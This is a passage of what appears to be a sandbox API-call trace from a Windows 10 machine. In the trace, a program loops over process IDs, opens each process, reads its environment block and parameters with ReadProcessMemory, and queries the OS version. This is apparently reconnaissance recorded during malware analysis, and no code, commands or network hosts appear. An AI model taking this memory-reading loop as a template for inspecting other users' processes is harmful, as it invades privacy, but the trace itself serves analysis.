bInheritHandle=0, dwProcessId=0x1004) returned 0x16c [0278.946] GetLastError () returned 0x0 [0278.947] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.947] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x350018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.947] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.948] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.948] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.949] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.951] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.951] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x350020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.951] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.951] malloc (_Size=0x78) returned 0x20abc282120 [0278.951] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0278.952] free (_Block=0x20abc282120) [0278.953] CloseHandle (hObject=0x16c) returned 1 [0278.953] _ui64tow_s (in: _Value=0x1014, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4116") returned 0x0 [0278.957] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4116") returned 4 [0278.959] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.959] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.982] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1014) returned 0x16c [0278.982] GetLastError () returned 0x0 [0278.982] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.982] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x314018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.983] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.983] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.983] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.984] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.985] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.985] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x314020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.986] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.986] malloc (_Size=0x78) returned 0x20abc282120 [0278.986] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0278.986] free (_Block=0x20abc282120) [0278.987] CloseHandle (hObject=0x16c) returned 1 [0278.988] _ui64tow_s (in: _Value=0x101c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0278.992] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4124") returned 4 [0278.993] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.993] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.009] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0x16c [0279.009] GetLastError () returned 0x0 [0279.010] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.010] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.010] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.010] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.010] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.012] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.013] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.013] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.013] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.013] malloc (_Size=0x64) returned 0x20abc2801b0 [0279.013] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1954, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0279.014] free (_Block=0x20abc2801b0) [0279.015] CloseHandle (hObject=0x16c) returned 1 [0279.015] _ui64tow_s (in: _Value=0x1028, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0279.019] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4136") returned 4 [0279.082] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.082] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.100] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0x16c [0279.100] GetLastError () returned 0x0 [0279.101] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.101] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d2018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.101] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.101] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.102] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d18f8, lpBuffer=0x2dc22fc240, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.103] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.105] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.105] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d2020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.105] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.106] malloc (_Size=0x66) returned 0x20abc280840 [0279.106] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d1956, lpBuffer=0x20abc280840, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0279.106] free (_Block=0x20abc280840) [0279.107] CloseHandle (hObject=0x16c) returned 1 [0279.108] _ui64tow_s (in: _Value=0x1038, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0279.112] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4152") returned 4 [0279.131] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.132] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.147] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x16c [0279.147] GetLastError () returned 0x0 [0279.148] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.149] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x530018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.149] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.149] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x791d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.149] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7918f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.151] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.152] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.152] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x530020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.153] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.153] malloc (_Size=0x76) returned 0x20abc282120 [0279.153] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x791966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0279.154] free (_Block=0x20abc282120) [0279.154] CloseHandle (hObject=0x16c) returned 1 [0279.155] _ui64tow_s (in: _Value=0x1040, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0279.159] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4160") returned 4 [0279.162] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.162] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.196] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x16c [0279.196] GetLastError () returned 0x0 [0279.197] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.197] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.197] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.197] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.198] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.199] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.201] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.201] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.201] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.201] malloc (_Size=0x7a) returned 0x20abc2ab0b0 [0279.201] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f196a, lpBuffer=0x20abc2ab0b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab0b0*, lpNumberOfBytesRead=0x0) returned 1 [0279.202] free (_Block=0x20abc2ab0b0) [0279.203] CloseHandle (hObject=0x16c) returned 1 [0279.203] _ui64tow_s (in: _Value=0x104c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4172") returned 0x0 [0279.208] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4172") returned 4 [0279.209] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.210] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.226] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104c) returned 0x16c [0279.227] GetLastError () returned 0x0 [0279.228] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.228] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x28c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.228] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.228] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.229] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7018f8, lpBuffer=0x2dc22fc240, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.230] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.232] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.232] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x28c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.232] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.232] malloc (_Size=0x86) returned 0x20abc2aa690 [0279.232] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701976, lpBuffer=0x20abc2aa690, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa690*, lpNumberOfBytesRead=0x0) returned 1 [0279.233] free (_Block=0x20abc2aa690) [0279.234] CloseHandle (hObject=0x16c) returned 1 [0279.234] _ui64tow_s (in: _Value=0x105c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0279.263] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4188") returned 4 [0279.264] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.264] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.281] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0x16c [0279.281] GetLastError () returned 0x0 [0279.282] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.283] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x38d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.283] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.283] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.283] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.285] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.299] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.299] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x38d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.299] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.300] malloc (_Size=0x76) returned 0x20abc282120 [0279.300] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0279.300] free (_Block=0x20abc282120) [0279.303] 